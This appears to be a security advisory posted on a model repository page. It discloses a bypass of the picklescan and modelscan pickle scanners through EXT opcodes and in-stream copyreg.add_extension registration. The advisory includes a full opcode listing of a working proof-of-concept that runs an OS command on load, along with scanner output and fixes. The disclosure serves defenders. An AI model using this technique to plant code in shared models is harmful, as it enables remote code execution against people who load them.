YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Pickle scanner bypass β arbitrary code execution via the EXT (extension-registry) opcodes + self-registering copyreg.add_extension, undetected by both picklescan and modelscan
Summary
A malicious pickle can execute an arbitrary OS command on load while both industry-standard ML model scanners β picklescan 1.0.4 (Protect AI) and modelscan 0.8.8 (Protect AI / HiddenLayer) β report it completely clean. The bypass abuses a pickle opcode class that neither scanner inspects: the extension registry opcodes EXT1 / EXT2 / EXT4 (PEP 307 / copyreg).
Both scanners detect dangerous callables by harvesting the GLOBAL / STACK_GLOBAL / INST opcodes and matching the resulting module.name against a blocklist. The EXT* opcodes do not carry a module/name pair β they carry a single integer extension code that the unpickler resolves to a (module, name) through the process-global copyreg._inverted_registry. The scanners never look at EXT* opcodes, so a dangerous callable referenced by extension code is invisible to them.
Normally this would require the dangerous code to be pre-registered in the victim's interpreter (it is not, by default). The PoC removes that precondition by making the pickle register the gadget itself, in-stream, via copyreg.add_extension β which is not on either scanner's blocklist:
- Phase 1 (self-register):
STACK_GLOBAL copyreg.add_extension+REDUCEβcopyreg.add_extension('os', 'system', 43981)registersos.systemat extension code43981. - Phase 2 (invoke):
EXT2 43981pushesos.systemonto the stack;REDUCEcalls it with an attacker string.
The only global that appears anywhere in the stream is copyreg.add_extension (benign-looking, un-blocklisted). The strings 'os' and 'system' appear only as SHORT_BINUNICODE string data, never as an import. There is no os.system global for the scanners to find. The result is a self-contained, precondition-free RCE on pickle.load of an untrusted model.
Affected / verified versions
- picklescan 1.0.4 (latest; post-dates the 0.0.31 fixes for CVE-2025-10155/10156/10157)
- modelscan 0.8.8 (latest)
- CPython 3.12.3 (mechanism is stdlib pickle; version-independent)
Root cause
picklescan scanner.py β _list_globals() collects only GLOBAL / STACK_GLOBAL / INST opcodes and matches their module.name against _unsafe_globals. The EXT1/EXT2/EXT4 opcodes are never examined, and copyreg (specifically copyreg.add_extension) is absent from _unsafe_globals.
modelscan modelscan/tools/picklescanner.py β PickleUnsafeOpScan has the same model: it inspects global-import opcodes against unsafe_globals and has no EXT* / copyreg coverage.
When the unpickler hits EXT2 43981, pickle.Unpickler.get_extension() looks up copyreg._inverted_registry[43981] β ('os','system') β find_class('os','system') β returns os.system, which the following REDUCE calls. None of that traverses an opcode the scanners audit.
Proof of concept
build_poc.py (attached) emits an 89-byte protocol-4 pickle. Disassembly (pickletools.dis) shows the only import is copyreg.add_extension; os/system are string data; the call is via EXT2 43981:
0: \x80 PROTO 4
2: \x8c SHORT_BINUNICODE 'copyreg'
11: \x8c SHORT_BINUNICODE 'add_extension'
26: \x93 STACK_GLOBAL <-- only global the scanners see
27: ( MARK
28: \x8c SHORT_BINUNICODE 'os' <-- string DATA, not an import
32: \x8c SHORT_BINUNICODE 'system' <-- string DATA, not an import
40: J BININT 43981
45: t TUPLE
46: R REDUCE <-- copyreg.add_extension('os','system',43981)
47: 0 POP
48: \x83 EXT2 43981 <-- pushes os.system (opcode NOT inspected)
51: ( MARK
52: \x8c SHORT_BINUNICODE 'touch /tmp/EXT_COPYREG_PWNED.txt'
86: t TUPLE
87: R REDUCE <-- os.system('touch ...')
88: . STOP
Scanner output (both clean)
$ python -m picklescan -p malicious.pkl
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
(exit 0)
$ modelscan -p malicious.pkl
Scanning malicious.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
No issues found! π
(exit 0)
Control (proves the file format is actively scanned, not skipped): a normal os.system __reduce__ pickle of the same extension is caught by both β picklescan dangerous import 'posix system' FOUND / Infected files: 1; modelscan Use of unsafe operator 'system' from module 'posix' / Severity: CRITICAL / exit 1. So .pkl is fully parsed and scanned; the EXT pickle is scanned-but-clean β an opcode-logic bypass, not an extension/skip bypass.
Execution (fresh interpreter, no pre-registration)
$ python -c "import pickle,copyreg,os; \
print('pre-registered?', 43981 in copyreg._inverted_registry); \
pickle.load(open('malicious.pkl','rb')); \
print('marker?', os.path.exists('/tmp/EXT_COPYREG_PWNED.txt'))"
pre-registered? False
marker? True
The marker file is created by os.system executed purely from the pickle stream, in an interpreter where the extension code was not previously registered.
Negative control β the same EXT2 without the copyreg.add_extension self-registration phase raises ValueError: unregistered extension code 43981, confirming that the in-stream self-registration is exactly what removes the precondition and makes this a precondition-free RCE.
Impact
Self-contained remote code execution when a victim loads an untrusted pickle-based model with a scanner-clean verdict from picklescan and/or modelscan β the two scanners that gate model uploads on Hugging Face and in ML CI/CD supply chains. No companion file, no prior process state, no non-default loader flag. Reached by any consumer of pickle.load / pickle.loads, including torch.load(..., weights_only=False), joblib.load, and numpy.load(allow_pickle=True). Delivered as a .pkl directly, or embedded as the data.pkl member of a .pt/.bin PyTorch zip archive (picklescan scans the inner pickle and still reports clean).
Remediation
- picklescan: in
_list_globals/ the opcode walk, treatEXT1/EXT2/EXT4as suspicious β resolve the code viacopyreg._inverted_registryand blocklist-check the result, or flag anyEXT*opcode outright. Addcopyreg(add_extension) to_unsafe_globals. - modelscan: apply the same in
PickleUnsafeOpScanβ inspectEXT*opcodes and treatcopyreg.add_extensionas unsafe.
Dedup / novelty
Distinct from every disclosed picklescan/modelscan bypass:
- CVE-2025-10155 (extension-mismatch skip), CVE-2025-10156 (zip bad-CRC), CVE-2025-10157 (subclass-of-flagged-module) β all fixed in 0.0.31; unrelated mechanisms.
- The STACK_GLOBAL offset-0 arg-miscalculation bypass and the arXiv 2508.19774 "Art of Hide and Seek" set of 9 Exception-Oriented Programming bypasses are all parse-failure-treated-as-clean techniques (the scanner crashes/exits on a malformed stream). This finding is the opposite: the scanner parses the stream to completion successfully and finds no dangerous global, because the dangerous callable is referenced through an opcode class (
EXT*) the scanner does not model and a registration function (copyreg.add_extension) it does not blocklist. - Not the compressed-joblib family (SiggytheShark / arXiv), not the file-extension-allowlist family.
- Distinct from our own prior filings (pathlib/sqlite3 gadget;
.pt2/.pteextension-skip) β here noosglobal is ever emitted and the.pklis fully scanned.
A web search for picklescan/modelscan + EXT opcode / copyreg.add_extension / extension-registry bypass returns no prior disclosure.
Artifacts
build_poc.pyβ self-contained raw-opcode builder (benigntouch <marker>payload).malicious.pklβ 89-byte PoC (both scanners clean, executes on load).model.ptβ same pickle wrapped as a PyTorch zip archive (picklescan clean on the innerdata.pkl).